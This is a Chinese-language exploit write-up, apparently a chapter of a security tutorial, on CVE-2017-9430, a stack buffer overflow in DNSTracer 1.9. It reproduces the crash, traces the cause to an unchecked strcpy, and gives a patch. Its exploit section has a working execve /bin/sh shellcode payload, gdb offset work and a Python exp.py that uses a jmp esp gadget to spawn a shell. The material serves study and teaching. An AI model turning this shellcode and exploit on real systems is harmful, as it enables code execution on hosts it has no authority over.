7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞

下载文件

漏洞描述

DNSTracer 是一个用来跟踪 DNS 解析过程的应用程序。DNSTracer 1.9 及之前的版本中存在栈缓冲区溢出漏洞。攻击者可借助带有较长参数的命令行利用该漏洞造成拒绝服务攻击。

漏洞复现

推荐使用的环境 备注
操作系统 Ubuntu 12.04 体系结构:32 位
调试器 gdb-peda 版本号:7.4
漏洞软件 DNSTracer 版本号:1.9

首先编译安装 DNSTracer:

  1. $ wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
  2. $ tar zxvf dnstracer-1.9.tar.gz
  3. $ cd dnstracer-1.9
  4. $ ./confugure
  5. $ make && sudo make install

传入一段超长的字符串作为参数即可触发栈溢出:

  1. $ dnstracer -v $(python -c 'print "A"*1025')
  2. *** buffer overflow detected ***: dnstracer terminated
  3. ======= Backtrace: =========
  4. /lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb757f377]
  5. /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x68)[0xb760f6b8]
  6. /lib/i386-linux-gnu/libc.so.6(+0xf58a8)[0xb760d8a8]
  7. /lib/i386-linux-gnu/libc.so.6(+0xf4e9f)[0xb760ce9f]
  8. dnstracer[0x8048f26]
  9. /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7530637]
  10. dnstracer[0x804920a]
  11. ======= Memory map: ========
  12. 08048000-0804e000 r-xp 00000000 08:01 270483 /usr/local/bin/dnstracer
  13. 0804f000-08050000 r--p 00006000 08:01 270483 /usr/local/bin/dnstracer
  14. 08050000-08051000 rw-p 00007000 08:01 270483 /usr/local/bin/dnstracer
  15. 08051000-08053000 rw-p 00000000 00:00 0
  16. 084b6000-084d7000 rw-p 00000000 00:00 0 [heap]
  17. b74e4000-b7500000 r-xp 00000000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
  18. b7500000-b7501000 rw-p 0001b000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1
  19. b7518000-b76c8000 r-xp 00000000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
  20. b76c8000-b76ca000 r--p 001af000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
  21. b76ca000-b76cb000 rw-p 001b1000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so
  22. b76cb000-b76ce000 rw-p 00000000 00:00 0
  23. b76e4000-b76e7000 rw-p 00000000 00:00 0
  24. b76e7000-b76e9000 r--p 00000000 00:00 0 [vvar]
  25. b76e9000-b76eb000 r-xp 00000000 00:00 0 [vdso]
  26. b76eb000-b770d000 r-xp 00000000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
  27. b770d000-b770e000 rw-p 00000000 00:00 0
  28. b770e000-b770f000 r--p 00022000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
  29. b770f000-b7710000 rw-p 00023000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so
  30. bf8e5000-bf907000 rw-p 00000000 00:00 0 [stack]
  31. Aborted (core dumped)

漏洞分析

这个漏洞非常简单也非常典型,发生原因是在把参数 argv[0] 复制到数组 argv0 的时候没有做长度检查,如果大于 1024 字节,就会导致栈溢出:

  1. // dnstracer.c
  2. int
  3. main(int argc, char **argv)
  4. {
  5. [...]
  6. char argv0[NS_MAXDNAME];
  7. [...]
  8. strcpy(argv0, argv[0]);
  1. // dnstracer_broker.h
  2. #ifndef NS_MAXDNAME
  3. #define NS_MAXDNAME 1024
  4. #endif

补丁

要修这个漏洞的话,在调用 strcpy() 前加上对参数长度的检查就可以了:

  1. /*CVE-2017-9430 Fix*/
  2. if(strlen(argv[0]) >= NS_MAXDNAME)
  3. {
  4. free(server_ip);
  5. free(server_name);
  6. fprintf(stderr, "dnstracer: argument is too long %s\n", argv[0]);
  7. return 1;
  8. }
  9. // check for a trailing dot
  10. strcpy(argv0, argv[0]);

Exploit

首先修改 Makefile,关掉栈保护,同时避免 gcc 使用安全函数 __strcpy_chk() 替换 strcpy(),修改编译选项如下:

  1. $ cat Makefile | grep -w CC
  2. CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0
  3. COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
  4. CCLD = $(CC)
  5. $ make && sudo make install
  6. gdb-peda$ checksec
  7. CANARY : disabled
  8. FORTIFY : disabled
  9. NX : disabled
  10. PIE : disabled
  11. RELRO : Partial

最后关掉 ASLR:

  1. # echo 0 > /proc/sys/kernel/randomize_va_space

因为漏洞发生在 main 函数中,堆栈的布置比起在子函数里也要复杂一些。大体过程和前面写过的一篇 wget 溢出漏洞差不多,但那一篇是 64 位程序,所以这里选择展示一下 32 位程序。

在 gdb 里进行调试,利用 pattern 确定溢出位置,1060 字节就足够了:

  1. gdb-peda$ pattern_create 1060
  2. gdb-peda$ pattern_offset $ebp
  3. 1849771630 found at offset: 1049

所以返回地址位于栈偏移 1049+4=1053 的地方。

  1. gdb-peda$ disassemble main
  2. 0x08048df8 <+808>: mov DWORD PTR [esp+0x4],edi
  3. 0x08048dfc <+812>: mov DWORD PTR [esp],ebx
  4. 0x08048dff <+815>: call 0x8048950 <strcpy@plt>
  5. 0x08048e04 <+820>: xor eax,eax
  6. 0x08048e06 <+822>: mov ecx,esi
  7. ...
  8. 0x08048f6e <+1182>: mov DWORD PTR [esp+0x4],esi
  9. 0x08048f72 <+1186>: call 0x804adb0 <create_session>
  10. 0x08048f77 <+1191>: mov DWORD PTR [esp],0xa

在下面几个地方下断点,并根据偏移调整我们的输入:

  1. gdb-peda$ b *main+815
  2. gdb-peda$ b *main+820
  3. gdb-peda$ b *main+1186
  4. gdb-peda$ r `perl -e 'print "A"x1053 . "BBBB"'`
  5. [----------------------------------registers-----------------------------------]
  6. EAX: 0x1
  7. EBX: 0xbfffeb3f --> 0xffed9cb7
  8. ECX: 0x0
  9. EDX: 0xb7fc7180 --> 0x0
  10. ESI: 0xffffffff
  11. EDI: 0xbffff174 ('A' <repeats 200 times>...)
  12. EBP: 0xbfffef58 --> 0x0
  13. ESP: 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7
  14. EIP: 0x8048dff (<main+815>: call 0x8048950 <strcpy@plt>)
  15. EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
  16. [-------------------------------------code-------------------------------------]
  17. 0x8048df1 <main+801>: lea ebx,[esp+0x46f]
  18. 0x8048df8 <main+808>: mov DWORD PTR [esp+0x4],edi
  19. 0x8048dfc <main+812>: mov DWORD PTR [esp],ebx
  20. => 0x8048dff <main+815>: call 0x8048950 <strcpy@plt>
  21. 0x8048e04 <main+820>: xor eax,eax
  22. 0x8048e06 <main+822>: mov ecx,esi
  23. 0x8048e08 <main+824>: repnz scas al,BYTE PTR es:[edi]
  24. 0x8048e0a <main+826>: not ecx
  25. Guessed arguments:
  26. arg[0]: 0xbfffeb3f --> 0xffed9cb7
  27. arg[1]: 0xbffff174 ('A' <repeats 200 times>...)
  28. [------------------------------------stack-------------------------------------]
  29. 0000| 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7
  30. 0004| 0xbfffe6d4 --> 0xbffff174 ('A' <repeats 200 times>...)
  31. 0008| 0xbfffe6d8 --> 0x804be37 ("4cCoq:r:S:s:t:v")
  32. 0012| 0xbfffe6dc --> 0x0
  33. 0016| 0xbfffe6e0 --> 0x0
  34. 0020| 0xbfffe6e4 --> 0x0
  35. 0024| 0xbfffe6e8 --> 0x0
  36. 0028| 0xbfffe6ec --> 0x0
  37. [------------------------------------------------------------------------------]
  38. Legend: code, data, rodata, value
  39. Breakpoint 1, 0x08048dff in main (argc=<optimized out>, argv=<optimized out>) at dnstracer.c:1622
  40. 1622 strcpy(argv0, argv[0]);
  41. gdb-peda$ x/10wx argv0
  42. 0xbfffeb3f: 0xffed9cb7 0x000000bf 0x00000100 0x00000200
  43. 0xbfffeb4f: 0xe33b9700 0xfdcac0b7 0x000000b7 0xffeff400
  44. 0xbfffeb5f: 0xe24e08b7 0x000001b7

所以栈位于 0xbfffeb3f,执行这一行代码即可将 0xbffff174 处的 “A” 字符串复制到 argv0 数组中:

  1. gdb-peda$ c
  2. Continuing.
  3. [----------------------------------registers-----------------------------------]
  4. EAX: 0xbfffe6bf ('A' <repeats 200 times>...)
  5. EBX: 0xbfffe6bf ('A' <repeats 200 times>...)
  6. ECX: 0xbffff1d0 ("BBBB")
  7. EDX: 0xbfffeadc ("BBBB")
  8. ESI: 0x0
  9. EDI: 0xbfffedb3 ('A' <repeats 200 times>...)
  10. EBP: 0xbfffead8 ("AAAABBBB")
  11. ESP: 0xbfffe290 --> 0xbfffe6bf ('A' <repeats 200 times>...)
  12. EIP: 0x8048dba (<main+794>: mov ecx,DWORD PTR [ebp-0x82c])
  13. EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
  14. [-------------------------------------code-------------------------------------]
  15. 0x8048db3 <main+787>: push edi
  16. 0x8048db4 <main+788>: push ebx
  17. 0x8048db5 <main+789>: call 0x8048920 <strcpy@plt>
  18. => 0x8048dba <main+794>: mov ecx,DWORD PTR [ebp-0x82c]
  19. 0x8048dc0 <main+800>: xor eax,eax
  20. 0x8048dc2 <main+802>: add esp,0x10
  21. 0x8048dc5 <main+805>: repnz scas al,BYTE PTR es:[edi]
  22. 0x8048dc7 <main+807>: not ecx
  23. [------------------------------------stack-------------------------------------]
  24. 0000| 0xbfffe290 --> 0xbfffe6bf ('A' <repeats 200 times>...)
  25. 0004| 0xbfffe294 --> 0xbfffedb3 ('A' <repeats 200 times>...)
  26. 0008| 0xbfffe298 --> 0xffffffff
  27. 0012| 0xbfffe29c --> 0xffffffff
  28. 0016| 0xbfffe2a0 --> 0x0
  29. 0020| 0xbfffe2a4 --> 0x0
  30. 0024| 0xbfffe2a8 --> 0x8051018 ("127.0.1.1")
  31. 0028| 0xbfffe2ac --> 0xffffffff
  32. [------------------------------------------------------------------------------]
  33. Legend: code, data, rodata, value
  34. Breakpoint 2, main (argc=<optimized out>, argv=<optimized out>) at dnstracer.c:1623
  35. 1623 if (argv0[strlen(argv[0]) - 1] == '.') argv0[strlen(argv[0]) - 1] = 0;
  36. gdb-peda$ x/10wx argv0
  37. 0xbfffeb3f: 0x41414141 0x41414141 0x41414141 0x41414141
  38. 0xbfffeb4f: 0x41414141 0x41414141 0x41414141 0x41414141
  39. 0xbfffeb5f: 0x41414141 0x41414141
  40. gdb-peda$ x/5wx argv0+1053-0x10
  41. 0xbfffef4c: 0x41414141 0x41414141 0x41414141 0x41414141
  42. 0xbfffef5c: 0x42424242

同时字符串 “BBBB” 覆盖了返回地址。所以我们用栈地址 0xbfffeb3f 替换掉 “BBBB”:

  1. gdb-peda$ r `perl -e 'print "A"x1053 . "\x3f\xeb\xff\xbf"'`
  1. gdb-peda$ x/5wx argv0+1053-0x10
  2. 0xbfffef4c: 0x41414141 0x41414141 0x41414141 0x41414141 <-- ebp
  3. 0xbfffef5c: 0xbfffeb3f <-- return address

然后就可以在栈上布置 shellcode 了,这一段 shellcode 长度为 23 字节,前面使用 nop 指令填充:

  1. gdb-peda$ r `perl -e 'print "\x90"x1030 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x3f\xeb\xff\xbf"'`
  2. gdb-peda$ x/7wx argv0+1053-23
  3. 0xbfffef45: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e <-- shellcode
  4. 0xbfffef55: 0xb0e18953 0x3f80cd0b 0x00bfffeb

根据计算,shellcode 位于 0xbfffef45

然而当我们执行这个程序的时候,发生了错误:

  1. gdb-peda$ c
  2. 127.0.0.1 (127.0.0.1) * * *
  3. Program received signal SIGSEGV, Segmentation fault.
  4. [----------------------------------registers-----------------------------------]
  5. EAX: 0x0
  6. EBX: 0xbfffef54 ("/bin//sh")
  7. ECX: 0xffffffff
  8. EDX: 0xb7fc88b8 --> 0x0
  9. ESI: 0xe3896e69
  10. EDI: 0xe1895350
  11. EBP: 0x80cd0bb0
  12. ESP: 0xbfffef54 ("/bin//sh")
  13. EIP: 0xbfffef55 ("bin//sh")
  14. EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
  15. [-------------------------------------code-------------------------------------]
  16. 0xbfffef4d: push 0x6e69622f
  17. 0xbfffef52: mov ebx,esp
  18. 0xbfffef54: das
  19. => 0xbfffef55: bound ebp,QWORD PTR [ecx+0x6e]
  20. 0xbfffef58: das
  21. 0xbfffef59: das
  22. 0xbfffef5a: jae 0xbfffefc4
  23. 0xbfffef5c: add BYTE PTR [eax],al
  24. [------------------------------------stack-------------------------------------]
  25. 0000| 0xbfffef54 ("/bin//sh")
  26. 0004| 0xbfffef58 ("//sh")
  27. 0008| 0xbfffef5c --> 0x0
  28. 0012| 0xbfffef60 --> 0x0
  29. 0016| 0xbfffef64 --> 0xbfffeff4 --> 0xbffff15b ("/usr/local/bin/dnstracer")
  30. 0020| 0xbfffef68 --> 0xbffff000 --> 0xbffff596 ("SSH_AGENT_PID=1407")
  31. 0024| 0xbfffef6c --> 0xb7fdc858 --> 0xb7e21000 --> 0x464c457f
  32. 0028| 0xbfffef70 --> 0x0
  33. [------------------------------------------------------------------------------]
  34. Legend: code, data, rodata, value
  35. Stopped reason: SIGSEGV
  36. 0xbfffef55 in ?? ()

错误发生在 0xbfffef55,而 shellcode 位于 0xbfffef45,两者相差 16 字节:

  1. gdb-peda$ x/8wx 0xbfffef45
  2. 0xbfffef45: 0x6850c031 0x68732f2f 0x69622f68 0x2fe3896e
  3. 0xbfffef55: 0x2f6e6962 0x0068732f 0x00000000 0xf4000000

所以这里采用的解决办法是去掉前面的 16 个 nop,将其加到 shellcode 后面。

  1. gdb-peda$ r `perl -e 'print "\x90"x1014 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x16 . "\x3f\xeb\xff\xbf"'`

成功获得 shell。

  1. gdb-peda$ c
  2. 127.0.0.1 (127.0.0.1) * * *
  3. process 7161 is executing new program: /bin/dash
  4. $ id
  5. [New process 7165]
  6. process 7165 is executing new program: /usr/bin/id
  7. uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
  8. $ [Inferior 2 (process 7165) exited normally]
  9. Warning: not running or target is remote

那如果我们开启了 ASLR 怎么办呢,一种常用的方法是利用指令 jmp esp 覆盖返回地址,这将使程序在返回地址的地方继续执行,从而执行跟在后面的 shellcode。利用 objdump 就可以找到这样的指令:

  1. $ objdump -M intel -D /usr/local/bin/dnstracer | grep jmp | grep esp
  2. 804cc5f: ff e4 jmp esp

exp 如下:

  1. import os
  2. from subprocess import call
  3. def exp():
  4. filling = "A"*1053
  5. jmp_esp = "\x5f\xcc\x04\x08"
  6. shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
  7. payload = filling + jmp_esp + shellcode
  8. call(["dnstracer", payload])
  9. if __name__ == '__main__':
  10. try:
  11. exp()
  12. except Exception as e:
  13. print "Something went wrong"

Bingo!!!

  1. $ python exp.py
  2. Tracing to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_1Ph//shh/bin��PS���
  3. [a] via 127.0.0.1, maximum of 3 retries
  4. 127.0.0.1 (127.0.0.1) * * *
  5. $ id
  6. uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)

参考资料